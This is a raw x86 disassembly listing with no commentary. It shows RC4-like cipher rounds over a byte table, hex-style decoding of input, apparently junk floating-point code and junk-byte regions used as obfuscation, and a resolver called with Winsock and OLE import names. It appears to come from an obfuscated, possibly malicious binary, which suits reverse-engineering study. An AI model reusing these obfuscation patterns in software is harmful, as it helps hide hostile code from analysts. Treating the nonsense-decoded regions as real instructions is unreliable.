mov byte [ebp + edx - 0x61e4], al
movzx ecx, byte [ebp - 0x32a8]
movzx edx, byte [ebp - 0x32a7]
mov al, byte [ebp + ecx - 0x61e4]
mov byte [ebp + edx - 0x61e4], al
movzx ecx, byte [ebp - 0x3282]
movzx edx, byte [ebp - 0x32a8]
mov al, byte [ebp + ecx - 0x61e4]
mov byte [ebp + edx - 0x61e4], al
movzx ecx, byte [ebp - 0x3282]
mov dl, byte [ebp - 0x32f8]
mov byte [ebp + ecx - 0x61e4], dl
movzx eax, byte [ebp - 0x32f8]
movzx ecx, byte [ebp + eax - 0x61e4]
movzx edx, byte [ebp - 0x32f7]
add edx, ecx
mov byte [ebp - 0x32f7], dl
movzx eax, byte [ebp - 0x32f6]
movzx ecx, byte [ebp - 0x32a7]
movzx edx, byte [ebp + ecx - 0x61e4]
movzx ecx, byte [ebp - 0x3282]
movzx ecx, byte [ebp + ecx - 0x61e4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x61e4]
xor eax, edx
movzx ecx, byte [ebp - 0x32a8]
movzx edx, byte [ebp + ecx - 0x61e4]
movzx ecx, byte [ebp - 0x32ca]
movzx ecx, byte [ebp + ecx - 0x61e4]
add edx, ecx
movzx ecx, byte [ebp - 0x32f7]
movzx ecx, byte [ebp + ecx - 0x61e4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x61e4]
movzx ecx, byte [ebp + edx - 0x61e4]
xor eax, ecx
mov byte [ebp - 0x32a8], al
mov dl, byte [ebp - 0x32f6]
mov byte [ebp - 0x32ca], dl
mov al, byte [ebp - 0x32a8]
mov byte [ebp - 0x3365], al
cmp dword [ebp - 0x33b8], 0
jle 0x42de43
movsx cx, byte [ebp - 0x3365]
mov edx, dword [ebp - 0x33b8]
mov word [ebp + edx*2 - 0x2e], cx
mov eax, dword [ebp - 0x33b8]
add eax, 1
mov dword [ebp - 0x33b8], eax
mov ecx, dword [ebp - 0x3cec]
add ecx, 1
mov dword [ebp - 0x3cec], ecx
mov edx, dword [ebp - 0x33b8]
shl edx, 1
mov dword [ebp - 0x3cf0], edx
mov eax, dword [ebp - 0x3cf4]
add eax, dword [ebp - 0x3cf0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3bd0], ecx
mov dword [ebp - 0x3bcc], 0xcd
mov edx, dword [ebp - 0x33b8]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3cf8], eax
mov ecx, dword [ebp - 0x3cf4]
add ecx, dword [ebp - 0x3cf8]
movzx edx, byte [ecx]
mov dword [ebp - 0x3bc8], edx
mov dword [ebp - 0x3bc4], 0xa0
mov eax, dword [ebp - 0x3bd0]
sub eax, dword [ebp - 0x3bcc]
mov dword [ebp - 0x3bc0], eax
mov ecx, dword [ebp - 0x3bc8]
sub ecx, dword [ebp - 0x3bc4]
mov dword [ebp - 0x3bbc], ecx
mov edx, dword [ebp - 0x3bc0]
shl edx, 4
mov dword [ebp - 0x3cfc], edx
mov eax, dword [ebp - 0x3bbc]
mov dword [ebp - 0x3d00], eax
mov ecx, dword [ebp - 0x3cfc]
or ecx, dword [ebp - 0x3d00]
mov dword [ebp - 0x3d04], ecx
mov dl, byte [ebp - 0x3d04]
mov byte [ebp - 0x32f6], dl
movzx eax, byte [ebp - 0x32ca]
mov cl, byte [ebp + eax - 0x61e4]
mov byte [ebp - 0x32f8], cl
movzx edx, byte [ebp - 0x3282]
movzx eax, byte [ebp + edx - 0x61e4]
movzx ecx, byte [ebp - 0x32a7]
add ecx, eax
mov byte [ebp - 0x32a7], cl
mov dl, byte [ebp - 0x3282]
add dl, 1
mov byte [ebp - 0x3282], dl
movzx eax, byte [ebp - 0x32a7]
movzx ecx, byte [ebp - 0x32ca]
mov dl, byte [ebp + eax - 0x61e4]
mov byte [ebp + ecx - 0x61e4], dl
movzx eax, byte [ebp - 0x32a8]
movzx ecx, byte [ebp - 0x32a7]
mov dl, byte [ebp + eax - 0x61e4]
mov byte [ebp + ecx - 0x61e4], dl
movzx eax, byte [ebp - 0x3282]
movzx ecx, byte [ebp - 0x32a8]
mov dl, byte [ebp + eax - 0x61e4]
mov byte [ebp + ecx - 0x61e4], dl
movzx eax, byte [ebp - 0x3282]
mov cl, byte [ebp - 0x32f8]
mov byte [ebp + eax - 0x61e4], cl
movzx edx, byte [ebp - 0x32f8]
movzx eax, byte [ebp + edx - 0x61e4]
movzx ecx, byte [ebp - 0x32f7]
add ecx, eax
mov byte [ebp - 0x32f7], cl
movzx edx, byte [ebp - 0x32f6]
movzx eax, byte [ebp - 0x32a7]
movzx ecx, byte [ebp + eax - 0x61e4]
movzx eax, byte [ebp - 0x3282]
movzx eax, byte [ebp + eax - 0x61e4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x61e4]
xor edx, ecx
movzx eax, byte [ebp - 0x32a8]
movzx ecx, byte [ebp + eax - 0x61e4]
movzx eax, byte [ebp - 0x32ca]
movzx eax, byte [ebp + eax - 0x61e4]
add ecx, eax
movzx eax, byte [ebp - 0x32f7]
movzx eax, byte [ebp + eax - 0x61e4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x61e4]
movzx eax, byte [ebp + ecx - 0x61e4]
xor edx, eax
mov byte [ebp - 0x32a8], dl
mov cl, byte [ebp - 0x32f6]
mov byte [ebp - 0x32ca], cl
mov dl, byte [ebp - 0x32a8]
mov byte [ebp - 0x3365], dl
cmp dword [ebp - 0x33b8], 0
jle 0x42e09b
movsx ax, byte [ebp - 0x3365]
mov ecx, dword [ebp - 0x33b8]
mov word [ebp + ecx*2 - 0x2e], ax
mov edx, dword [ebp - 0x33b8]
add edx, 1
mov dword [ebp - 0x33b8], edx
mov eax, dword [ebp - 0x3cec]
add eax, 1
mov dword [ebp - 0x3cec], eax
mov ecx, dword [ebp - 0x33b8]
shl ecx, 1
mov dword [ebp - 0x3cf0], ecx
mov edx, dword [ebp - 0x3cf4]
add edx, dword [ebp - 0x3cf0]
movzx eax, byte [edx]
mov dword [ebp - 0x3bd0], eax
mov dword [ebp - 0x3bcc], 0xcd
mov ecx, dword [ebp - 0x33b8]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3cf8], edx
mov eax, dword [ebp - 0x3cf4]
add eax, dword [ebp - 0x3cf8]
movzx ecx, byte [eax]
mov dword [ebp - 0x3bc8], ecx
mov dword [ebp - 0x3bc4], 0xa0
mov edx, dword [ebp - 0x3bd0]
sub edx, dword [ebp - 0x3bcc]
mov dword [ebp - 0x3bc0], edx
mov eax, dword [ebp - 0x3bc8]
sub eax, dword [ebp - 0x3bc4]
mov dword [ebp - 0x3bbc], eax
mov ecx, dword [ebp - 0x3bc0]
shl ecx, 4
mov dword [ebp - 0x3cfc], ecx
mov edx, dword [ebp - 0x3bbc]
mov dword [ebp - 0x3d00], edx
mov eax, dword [ebp - 0x3cfc]
or eax, dword [ebp - 0x3d00]
mov dword [ebp - 0x3d04], eax
mov cl, byte [ebp - 0x3d04]
mov byte [ebp - 0x32f6], cl
movzx edx, byte [ebp - 0x32ca]
mov al, byte [ebp + edx - 0x61e4]
mov byte [ebp - 0x32f8], al
movzx ecx, byte [ebp - 0x3282]
movzx edx, byte [ebp + ecx - 0x61e4]
movzx eax, byte [ebp - 0x32a7]
add eax, edx
mov byte [ebp - 0x32a7], al
mov cl, byte [ebp - 0x3282]
add cl, 1
mov byte [ebp - 0x3282], cl
movzx edx, byte [ebp - 0x32a7]
movzx eax, byte [ebp - 0x32ca]
mov cl, byte [ebp + edx - 0x61e4]
mov byte [ebp + eax - 0x61e4], cl
movzx edx, byte [ebp - 0x32a8]
movzx eax, byte [ebp - 0x32a7]
mov cl, byte [ebp + edx - 0x61e4]
mov byte [ebp + eax - 0x61e4], cl
movzx edx, byte [ebp - 0x3282]
movzx eax, byte [ebp - 0x32a8]
mov cl, byte [ebp + edx - 0x61e4]
mov byte [ebp + eax - 0x61e4], cl
movzx edx, byte [ebp - 0x3282]
mov al, byte [ebp - 0x32f8]
mov byte [ebp + edx - 0x61e4], al
movzx ecx, byte [ebp - 0x32f8]
movzx edx, byte [ebp + ecx - 0x61e4]
movzx eax, byte [ebp - 0x32f7]
add eax, edx
mov byte [ebp - 0x32f7], al
movzx ecx, byte [ebp - 0x32f6]
movzx edx, byte [ebp - 0x32a7]
movzx eax, byte [ebp + edx - 0x61e4]
movzx edx, byte [ebp - 0x3282]
movzx edx, byte [ebp + edx - 0x61e4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x61e4]
xor ecx, eax
movzx edx, byte [ebp - 0x32a8]
movzx eax, byte [ebp + edx - 0x61e4]
movzx edx, byte [ebp - 0x32ca]
movzx edx, byte [ebp + edx - 0x61e4]
add eax, edx
movzx edx, byte [ebp - 0x32f7]
movzx edx, byte [ebp + edx - 0x61e4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x61e4]
movzx edx, byte [ebp + eax - 0x61e4]
xor ecx, edx
mov byte [ebp - 0x32a8], cl
mov al, byte [ebp - 0x32f6]
mov byte [ebp - 0x32ca], al
mov cl, byte [ebp - 0x32a8]
mov byte [ebp - 0x3365], cl
cmp dword [ebp - 0x33b8], 0
jle 0x42e2f1
movsx dx, byte [ebp - 0x3365]
mov eax, dword [ebp - 0x33b8]
mov word [ebp + eax*2 - 0x2e], dx
mov ecx, dword [ebp - 0x33b8]
add ecx, 1
mov dword [ebp - 0x33b8], ecx
mov edx, dword [ebp - 0x3cec]
add edx, 1
mov dword [ebp - 0x3cec], edx
mov eax, dword [ebp - 0x33b8]
shl eax, 1
mov dword [ebp - 0x3cf0], eax
mov ecx, dword [ebp - 0x3cf4]
add ecx, dword [ebp - 0x3cf0]
movzx edx, byte [ecx]
mov dword [ebp - 0x3bd0], edx
mov dword [ebp - 0x3bcc], 0xcd
mov eax, dword [ebp - 0x33b8]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3cf8], ecx
mov edx, dword [ebp - 0x3cf4]
add edx, dword [ebp - 0x3cf8]
movzx eax, byte [edx]
mov dword [ebp - 0x3bc8], eax
mov dword [ebp - 0x3bc4], 0xa0
mov ecx, dword [ebp - 0x3bd0]
sub ecx, dword [ebp - 0x3bcc]
mov dword [ebp - 0x3bc0], ecx
mov edx, dword [ebp - 0x3bc8]
sub edx, dword [ebp - 0x3bc4]
mov dword [ebp - 0x3bbc], edx
mov eax, dword [ebp - 0x3bc0]
shl eax, 4
mov dword [ebp - 0x3cfc], eax
mov ecx, dword [ebp - 0x3bbc]
mov dword [ebp - 0x3d00], ecx
mov edx, dword [ebp - 0x3cfc]
or edx, dword [ebp - 0x3d00]
mov dword [ebp - 0x3d04], edx
mov al, byte [ebp - 0x3d04]
mov byte [ebp - 0x32f6], al
movzx ecx, byte [ebp - 0x32ca]
mov dl, byte [ebp + ecx - 0x61e4]
mov byte [ebp - 0x32f8], dl
movzx eax, byte [ebp - 0x3282]
movzx ecx, byte [ebp + eax - 0x61e4]
movzx edx, byte [ebp - 0x32a7]
add edx, ecx
mov byte [ebp - 0x32a7], dl
mov al, byte [ebp - 0x3282]
add al, 1
mov byte [ebp - 0x3282], al
movzx ecx, byte [ebp - 0x32a7]
movzx edx, byte [ebp - 0x32ca]
mov al, byte [ebp + ecx - 0x61e4]
mov byte [ebp + edx - 0x61e4], al
movzx ecx, byte [ebp - 0x32a8]
movzx edx, byte [ebp - 0x32a7]
mov al, byte [ebp + ecx - 0x61e4]
mov byte [ebp + edx - 0x61e4], al
movzx ecx, byte [ebp - 0x3282]
movzx edx, byte [ebp - 0x32a8]
mov al, byte [ebp + ecx - 0x61e4]
mov byte [ebp + edx - 0x61e4], al
movzx ecx, byte [ebp - 0x3282]
mov dl, byte [ebp - 0x32f8]
mov byte [ebp + ecx - 0x61e4], dl
movzx eax, byte [ebp - 0x32f8]
movzx ecx, byte [ebp + eax - 0x61e4]
movzx edx, byte [ebp - 0x32f7]
add edx, ecx
mov byte [ebp - 0x32f7], dl
movzx eax, byte [ebp - 0x32f6]
movzx ecx, byte [ebp - 0x32a7]
movzx edx, byte [ebp + ecx - 0x61e4]
movzx ecx, byte [ebp - 0x3282]
movzx ecx, byte [ebp + ecx - 0x61e4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x61e4]
xor eax, edx
movzx ecx, byte [ebp - 0x32a8]
movzx edx, byte [ebp + ecx - 0x61e4]
movzx ecx, byte [ebp - 0x32ca]
movzx ecx, byte [ebp + ecx - 0x61e4]
add edx, ecx
movzx ecx, byte [ebp - 0x32f7]
movzx ecx, byte [ebp + ecx - 0x61e4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x61e4]
movzx ecx, byte [ebp + edx - 0x61e4]
xor eax, ecx
mov byte [ebp - 0x32a8], al
mov dl, byte [ebp - 0x32f6]
mov byte [ebp - 0x32ca], dl
mov al, byte [ebp - 0x32a8]
mov byte [ebp - 0x3365], al
cmp dword [ebp - 0x33b8], 0
jle 0x42e548
movsx cx, byte [ebp - 0x3365]
mov edx, dword [ebp - 0x33b8]
mov word [ebp + edx*2 - 0x2e], cx
mov eax, dword [ebp - 0x33b8]
add eax, 1
mov dword [ebp - 0x33b8], eax
mov ecx, dword [ebp - 0x3cec]
add ecx, 1
mov dword [ebp - 0x3cec], ecx
mov edx, dword [ebp - 0x33b8]
shl edx, 1
mov dword [ebp - 0x3cf0], edx
mov eax, dword [ebp - 0x3cf4]
add eax, dword [ebp - 0x3cf0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3bd0], ecx
mov dword [ebp - 0x3bcc], 0xcd
mov edx, dword [ebp - 0x33b8]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3cf8], eax
mov ecx, dword [ebp - 0x3cf4]
add ecx, dword [ebp - 0x3cf8]
movzx edx, byte [ecx]
mov dword [ebp - 0x3bc8], edx
mov dword [ebp - 0x3bc4], 0xa0
mov eax, dword [ebp - 0x3bd0]
sub eax, dword [ebp - 0x3bcc]
mov dword [ebp - 0x3bc0], eax
mov ecx, dword [ebp - 0x3bc8]
sub ecx, dword [ebp - 0x3bc4]
mov dword [ebp - 0x3bbc], ecx
mov edx, dword [ebp - 0x3bc0]
shl edx, 4
mov dword [ebp - 0x3cfc], edx
mov eax, dword [ebp - 0x3bbc]
mov dword [ebp - 0x3d00], eax
mov ecx, dword [ebp - 0x3cfc]
or ecx, dword [ebp - 0x3d00]
mov dword [ebp - 0x3d04], ecx
mov dl, byte [ebp - 0x3d04]
mov byte [ebp - 0x32f6], dl
movzx eax, byte [ebp - 0x32ca]
mov cl, byte [ebp + eax - 0x61e4]
mov byte [ebp - 0x32f8], cl
movzx edx, byte [ebp - 0x3282]
movzx eax, byte [ebp + edx - 0x61e4]
movzx ecx, byte [ebp - 0x32a7]
add ecx, eax
mov byte [ebp - 0x32a7], cl
mov dl, byte [ebp - 0x3282]
add dl, 1
mov byte [ebp - 0x3282], dl
movzx eax, byte [ebp - 0x32a7]
movzx ecx, byte [ebp - 0x32ca]
mov dl, byte [ebp + eax - 0x61e4]
mov byte [ebp + ecx - 0x61e4], dl
movzx eax, byte [ebp - 0x32a8]
movzx ecx, byte [ebp - 0x32a7]
mov dl, byte [ebp + eax - 0x61e4]
mov byte [ebp + ecx - 0x61e4], dl
movzx eax, byte [ebp - 0x3282]
movzx ecx, byte [ebp - 0x32a8]
mov dl, byte [ebp + eax - 0x61e4]
mov byte [ebp + ecx - 0x61e4], dl
movzx eax, byte [ebp - 0x3282]
mov cl, byte [ebp - 0x32f8]
mov byte [ebp + eax - 0x61e4], cl
movzx edx, byte [ebp - 0x32f8]
movzx eax, byte [ebp + edx - 0x61e4]
movzx ecx, byte [ebp - 0x32f7]
add ecx, eax
mov byte [ebp - 0x32f7], cl
movzx edx, byte [ebp - 0x32f6]
movzx eax, byte [ebp - 0x32a7]
movzx ecx, byte [ebp + eax - 0x61e4]
movzx eax, byte [ebp - 0x3282]
movzx eax, byte [ebp + eax - 0x61e4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x61e4]
xor edx, ecx
movzx eax, byte [ebp - 0x32a8]
movzx ecx, byte [ebp + eax - 0x61e4]
movzx eax, byte [ebp - 0x32ca]
movzx eax, byte [ebp + eax - 0x61e4]
add ecx, eax
movzx eax, byte [ebp - 0x32f7]
movzx eax, byte [ebp + eax - 0x61e4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x61e4]
movzx eax, byte [ebp + ecx - 0x61e4]
xor edx, eax
mov byte [ebp - 0x32a8], dl
mov cl, byte [ebp - 0x32f6]
mov byte [ebp - 0x32ca], cl
mov dl, byte [ebp - 0x32a8]
mov byte [ebp - 0x3365], dl
cmp dword [ebp - 0x33b8], 0
jle 0x42e7a0
movsx ax, byte [ebp - 0x3365]
mov ecx, dword [ebp - 0x33b8]
mov word [ebp + ecx*2 - 0x2e], ax
mov edx, dword [ebp - 0x33b8]
add edx, 1
mov dword [ebp - 0x33b8], edx
mov eax, dword [ebp - 0x3cec]
add eax, 1
mov dword [ebp - 0x3cec], eax
mov ecx, dword [ebp - 0x33b8]
shl ecx, 1
mov dword [ebp - 0x3cf0], ecx
mov edx, dword [ebp - 0x3cf4]
add edx, dword [ebp - 0x3cf0]
movzx eax, byte [edx]
mov dword [ebp - 0x3bd0], eax
mov dword [ebp - 0x3bcc], 0xcd
mov ecx, dword [ebp - 0x33b8]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3cf8], edx
mov eax, dword [ebp - 0x3cf4]
add eax, dword [ebp - 0x3cf8]
movzx ecx, byte [eax]
mov dword [ebp - 0x3bc8], ecx
mov dword [ebp - 0x3bc4], 0xa0
mov edx, dword [ebp - 0x3bd0]
sub edx, dword [ebp - 0x3bcc]
mov dword [ebp - 0x3bc0], edx
mov eax, dword [ebp - 0x3bc8]
sub eax, dword [ebp - 0x3bc4]
mov dword [ebp - 0x3bbc], eax
mov ecx, dword [ebp - 0x3bc0]
shl ecx, 4
mov dword [ebp - 0x3cfc], ecx
mov edx, dword [ebp - 0x3bbc]
mov dword [ebp - 0x3d00], edx
mov eax, dword [ebp - 0x3cfc]
or eax, dword [ebp - 0x3d00]
mov dword [ebp - 0x3d04], eax
mov cl, byte [ebp - 0x3d04]
mov byte [ebp - 0x32f6], cl
movzx edx, byte [ebp - 0x32ca]
mov al, byte [ebp + edx - 0x61e4]
mov byte [ebp - 0x32f8], al
movzx ecx, byte [ebp - 0x3282]
movzx edx, byte [ebp + ecx - 0x61e4]
movzx eax, byte [ebp - 0x32a7]
add eax, edx
mov byte [ebp - 0x32a7], al
mov cl, byte [ebp - 0x3282]
add cl, 1
mov byte [ebp - 0x3282], cl
movzx edx, byte [ebp - 0x32a7]
movzx eax, byte [ebp - 0x32ca]
mov cl, byte [ebp + edx - 0x61e4]
mov byte [ebp + eax - 0x61e4], cl
movzx edx, byte [ebp - 0x32a8]
movzx eax, byte [ebp - 0x32a7]
mov cl, byte [ebp + edx - 0x61e4]
mov byte [ebp + eax - 0x61e4], cl
movzx edx, byte [ebp - 0x3282]
movzx eax, byte [ebp - 0x32a8]
mov cl, byte [ebp + edx - 0x61e4]
mov byte [ebp + eax - 0x61e4], cl
movzx edx, byte [ebp - 0x3282]
mov al, byte [ebp - 0x32f8]
mov byte [ebp + edx - 0x61e4], al
movss xmm0, dword [0xa72298]
movss dword [ebp - 0x3db4], xmm0
movss xmm0, dword [0xa72214]
movss dword [ebp - 0x44ec], xmm0
movss xmm0, dword [0xa72178]
movss dword [ebp - 0x43f4], xmm0
movss xmm0, dword [0xa720e8]
movss dword [ebp - 0x44f0], xmm0
movss xmm0, dword [0xa72060]
movss dword [ebp - 0x43e0], xmm0
movss xmm0, dword [0xa71fb8]
movss dword [ebp - 0x3984], xmm0
movss xmm0, dword [ebp - 0x43e0]
mulss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x43e0], xmm0
movss xmm0, dword [ebp - 0x3db4]
mulss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x3db4], xmm0
movss xmm0, dword [ebp - 0x43f4]
addss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x43f4], xmm0
movss xmm0, dword [ebp - 0x3db4]
subss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x3db4], xmm0
movss xmm0, dword [ebp - 0x44ec]
mulss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x44ec], xmm0
movss xmm0, dword [ebp - 0x44f0]
subss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x44f0], xmm0
movss xmm0, dword [ebp - 0x3db4]
comiss xmm0, dword [ebp - 0x3984]
jbe 0x42ead8
movss xmm0, dword [ebp - 0x43e0]
subss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x43e0], xmm0
movss xmm0, dword [ebp - 0x3984]
mulss xmm0, dword [ebp - 0x3db4]
movss dword [ebp - 0x3984], xmm0
movss xmm0, dword [ebp - 0x43f4]
addss xmm0, dword [ebp - 0x44f0]
movss dword [ebp - 0x43f4], xmm0
movss xmm0, dword [ebp - 0x3984]
subss xmm0, dword [ebp - 0x3db4]
movss dword [ebp - 0x3984], xmm0
movss xmm0, dword [ebp - 0x3984]
addss xmm0, dword [ebp - 0x3db4]
movss dword [ebp - 0x3984], xmm0
movss xmm0, dword [ebp - 0x44ec]
subss xmm0, dword [ebp - 0x43f4]
movss dword [ebp - 0x44ec], xmm0
movzx ecx, byte [ebp - 0x32f8]
movzx edx, byte [ebp + ecx - 0x61e4]
movzx eax, byte [ebp - 0x32f7]
add eax, edx
mov byte [ebp - 0x32f7], al
jmp 0x42eb68
movss xmm0, dword [ebp - 0x43e0]
addss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x43e0], xmm0
movss xmm0, dword [ebp - 0x43f4]
mulss xmm0, dword [ebp - 0x44f0]
movss dword [ebp - 0x43f4], xmm0
movss xmm0, dword [ebp - 0x44f0]
subss xmm0, dword [ebp - 0x43e0]
movss dword [ebp - 0x44f0], xmm0
movss xmm0, dword [ebp - 0x3db4]
subss xmm0, dword [ebp - 0x44ec]
movss dword [ebp - 0x3db4], xmm0
movss xmm0, dword [ebp - 0x3984]
divss xmm0, dword [ebp - 0x3db4]
movss dword [ebp - 0x3984], xmm0
movss xmm0, dword [ebp - 0x3db4]
addss xmm0, dword [ebp - 0x44ec]
movss dword [ebp - 0x3db4], xmm0
movzx ecx, byte [ebp - 0x32f6]
movzx edx, byte [ebp - 0x32a7]
movzx eax, byte [ebp + edx - 0x61e4]
movzx edx, byte [ebp - 0x3282]
movzx edx, byte [ebp + edx - 0x61e4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x61e4]
xor ecx, eax
movzx edx, byte [ebp - 0x32a8]
movzx eax, byte [ebp + edx - 0x61e4]
movzx edx, byte [ebp - 0x32ca]
movzx edx, byte [ebp + edx - 0x61e4]
add eax, edx
movzx edx, byte [ebp - 0x32f7]
movzx edx, byte [ebp + edx - 0x61e4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x61e4]
movzx edx, byte [ebp + eax - 0x61e4]
xor ecx, edx
mov byte [ebp - 0x32a8], cl
mov al, byte [ebp - 0x32f6]
mov byte [ebp - 0x32ca], al
mov cl, byte [ebp - 0x32a8]
mov byte [ebp - 0x3365], cl
cmp dword [ebp - 0x33b8], 0
jle 0x42ec20
movsx dx, byte [ebp - 0x3365]
mov eax, dword [ebp - 0x33b8]
mov word [ebp + eax*2 - 0x2e], dx
mov ecx, 2
imul edx, ecx, 6
mov dword [ebp - 0x5150], edx
cmp dword [ebp - 0x5150], 0xe
jae 0x42ec39
jmp 0x42ec3e
call fcn.009f5b17
xor eax, eax
mov ecx, dword [ebp - 0x5150]
mov word [ebp + ecx - 0x2c], ax
jmp 0x42ec9e
mov dword [ebp - 0x48e0], 0
jmp 0x42ec68
mov edx, dword [ebp - 0x48e0]
add edx, 1
mov dword [ebp - 0x48e0], edx
cmp dword [ebp - 0x48e0], 7
jge 0x42ec9e
mov eax, dword [ebp - 0x48e0]
shl eax, 1
mov dword [ebp - 0x514c], eax
cmp dword [ebp - 0x514c], 0xe
jae 0x42ec8a
jmp 0x42ec8f
call fcn.009f5b17
xor ecx, ecx
mov edx, dword [ebp - 0x514c]
mov word [ebp + edx - 0x2c], cx
jmp 0x42ec59
push 1
mov eax, dword [ebp - 0x46bc]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0xb8]
push eax
push reloc.WS2_32.dll_accept
call fcn.00428c10
add esp, 0x18
movzx ecx, byte [ebp + 0xc]
test ecx, ecx
je 0x42ed15
push 1
mov edx, dword [ebp - 0x46bc]
push edx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0xb8]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00428c10
add esp, 0x18
push 1
mov eax, dword [ebp - 0x46bc]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0xb8]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00428c10
add esp, 0x18
mov dword [ebp - 0x3218], 0
mov dword [ebp - 0x3214], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x482c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45b8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45b8], xmm0
jmp 0x42ed64
movsd xmm0, qword [ebp - 0x45b8]
addsd xmm0, qword [0xa71350]
movsd qword [ebp - 0x45b8], xmm0
movsd xmm0, qword [0xa71838]
comisd xmm0, xmmword [ebp - 0x45b8]
jbe 0x42ee15
movsd xmm0, qword [0xa71638]
mulsd xmm0, qword [ebp - 0x45b8]
mulsd xmm0, qword [ebp - 0x45b8]
movsd xmm1, qword [ebp - 0x45b8]
mulsd xmm1, qword [ebp - 0x45b8]
subsd xmm0, xmm1
movsd xmm1, qword [0xa713a0]
mulsd xmm1, qword [ebp - 0x45b8]
mulsd xmm1, qword [ebp - 0x45b8]
addsd xmm1, qword [0xa714c0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x482c]
movsd qword [ebp - 0x482c], xmm0
movsd xmm0, qword [ebp - 0x482c]
comisd xmm0, xmmword [0xa71580]
jbe 0x42ee10
movsd xmm0, qword [0xa712d8]
mulsd xmm0, qword [ebp - 0x45b8]
movsd xmm1, qword [ebp - 0x482c]
subsd xmm1, xmm0
movsd qword [ebp - 0x482c], xmm1
jmp 0x42ed4c
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x482c]
jbe 0x42ee8e
dec edi
mov dword [0x95529b55], eax
push ecx
lcall 0x9558, 0x94569d53
push eax
xchg edi, eax
dec esp
lahf
dec esi
wait
dec esi
mov byte [0x9454a04f], al
push edx
mov eax, dword [0x9e4d9b55]
push esp
mov dword [0xa24ba258], eax
push ecx
xchg ebp, eax
pop eax
lahf
dec edx
wait
push ecx
lahf
dec ebp
mov dword [0x9652a356], eax
push ecx
xchg esp, eax
dec ebp
xchg ebp, eax
dec edi
cdq
push esp
cdq
push ebx
pushfd
push edi
cwde
dec edx
pushfd
dec ebp
sahf
dec esp
mov al, byte [0x9a589553]
dec ebp
mov dword [0x397b9f58], eax
inc ecx
and al, 0x5a
js 0x42eecf
and esi, dword [edx + 0x2a]
push edi
dec edi
xor al, 0x2d
and ch, byte cs:[eax + 0x27]
and byte [ecx], ah
cmp ch, byte [edx + 0x45]
daa
jmp 0x431354
mov dword [ebp - 0x3218], 0x42ee22
mov dword [ebp - 0x3214], 0x42ee70
mov ecx, dword [ebp - 0x3218]
mov dword [ebp - 0x39ac], ecx
mov edx, dword [ebp - 0x3214]
mov dword [ebp - 0x64cc], edx
mov byte [ebp - 0x3ff1], 0x1d
mov dword [ebp - 0x3794], 0
jmp 0x42eedc
mov eax, dword [ebp - 0x3794]
add eax, 1
mov dword [ebp - 0x3794], eax
insb byte es:[edi], dx
enter 0xffffffffffffffff, 0xffffffffffffff83
rol byte [ecx], 0x89
test dword [eax + ecx*8 - 1], ebp
inc dword [ecx - 0x379343]
inc dword [eax]
add dword [eax], eax
add byte [ebx + 0x15], dh
cmp dword [ebp - 0x3794], 0x100
jae 0x42eefd
mov ecx, dword [ebp - 0x3794]
mov dl, byte [ebp - 0x3794]
mov byte [ebp + ecx - 0x59c4], dl
jmp 0x42eecd
mov dword [ebp - 0x44e8], 0
mov byte [ebp - 0x3358], 0
mov dword [ebp - 0x3794], 0xff
jmp 0x42ef29
mov eax, dword [ebp - 0x3794]
sub eax, 1
mov dword [ebp - 0x3794], eax
cmp dword [ebp - 0x3794], 0
jbe 0x42f199
mov dword [ebp - 0x4b3c], 0
mov dword [ebp - 0x48dc], 1
mov ecx, dword [ebp - 0x48dc]
cmp ecx, dword [ebp - 0x3794]
jae 0x42ef6a
mov edx, dword [ebp - 0x48dc]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x48dc], eax
jmp 0x42ef4a
mov ecx, dword [ebp - 0x44e8]
mov dword [ebp - 0x5148], ecx
cmp dword [ebp - 0x5148], 3
ja case.default.0x42ef89
mov edx, dword [ebp - 0x5148]
jmp dword [edx*4 + 0x46afa8]
movzx eax, byte [ebp - 0x3358]
movzx ebx, byte [ebp + eax - 0x59c4]
movsd xmm0, qword [ebp - 0x482c]
call fcn.009f5ff0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3358], bl
jmp 0x42f072
movzx ecx, byte [ebp - 0x3358]
movzx ebx, byte [ebp + ecx - 0x59c4]
movsd xmm0, qword [ebp - 0x482c]
call fcn.009f5ff0
